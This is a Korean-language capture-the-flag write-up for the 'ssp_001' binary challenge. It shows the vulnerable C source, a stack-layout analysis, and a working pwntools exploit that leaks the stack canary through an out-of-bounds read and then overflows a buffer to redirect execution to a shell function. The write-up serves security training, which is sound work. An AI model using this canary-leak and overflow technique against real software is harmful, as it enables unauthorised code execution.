Index
문제
보호기법 확인
NX와 Stack Canary가 적용되어 있다.
ssp_001.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
각 메뉴가 함수로 구현되어 있고, main
함수에서 입력을 받아 각 함수를 실행시킨다.
F
는 box
배열에 입력을 하고, P
는 box[idx]
값을 출력한다. E
는 길이를 입력하고 입력받은 길이만큼 문자열을 받고 main
함수를 종료한다.
E
에서 길이를 우리가 지정해줄 수 있기 때문에 버퍼 오버플로우가 발생한다. gdb로 분석해보자.
문제 풀이
먼저, main
함수에서 Stack Canary 값을 설정하는 부분이다. 이 값이 랜덤으로 설정되기 때문에 bof
를 위해서는 이 값을 leak
해야한다.
선언된 각 변수의 스택 위치를 확인해보자.
menu
함수 이후 입력 받는 문자는 select
배열에 저장되고, 이 주소는 ebp-0x8a
이다.
select
값에 따라 각 switch
구문에 맞게 jump
한다.
0x46('F')
는 main+155
로 점프한다.
read
함수의 2번째 인자는 box
배열이고, 이 배열의 시작주소는 ebp-0x88
이다.
0x50('P')
는 main+192
로 점프한다.
scanf
함수로 idx
에 값을 입력받는다. 이 주소는 ebp-0x94
이고, 이후 print_box
함수로 box
주소와 idx
값을 넘긴다. → print_box(box, idx)
0x45('E')
는 main+249
로 점프한다.
빨간색 부분에서는 name_len
을 입력받는다. 이 주소는 ebp-0x90
이다.
초록색 부분에서는 앞에 입력받은 name_len
주소인 ebp-0x90
을 인자로 사용하고, name
배열에 입력을 받는다. 이 주소는 ebp-0x48
이다.
현재까지 얻은 스택 주소 정보를 정리하면 다음과 같이 그릴 수 있다.
box
주소로 부터 128byte
떨어진 곳은 canary
가 있는 부분이다. oob read가 가능하기 때문에 P
메뉴를 통해 box[128]
값부터 4byte를 읽는다. 값을 얻었다면 E
메뉴를 선택하여 카나리를 원래 값으로 덮으면서 RET
를 get_shell
함수의 주소를 넣으면 셸을 얻을 수 있다.
익스플로잇
from pwn import *
context.log_level='debug'
p = process('./ssp_001')
e = process('./ssp_001')
get_shell = 0x080486b9
canary = b''
for i in range(131, 127, -1):
p.sendlineafter(b'> ',b'P')
p.sendlineafter(b'Element index :', str(i))
canary += p.recvuntil('\n')[-3:-1]
canary = int(canary,16)
payload = b'A'*0x40 + p32(canary) + b'B'*8 + p32(get_shell)
p.sendlineafter(b'> ',b'E')
p.sendlineafter(b'Name Size : ', b'300')
p.sendlineafter(b'Name : ', payload)
p.interactive()
Uploaded by N2T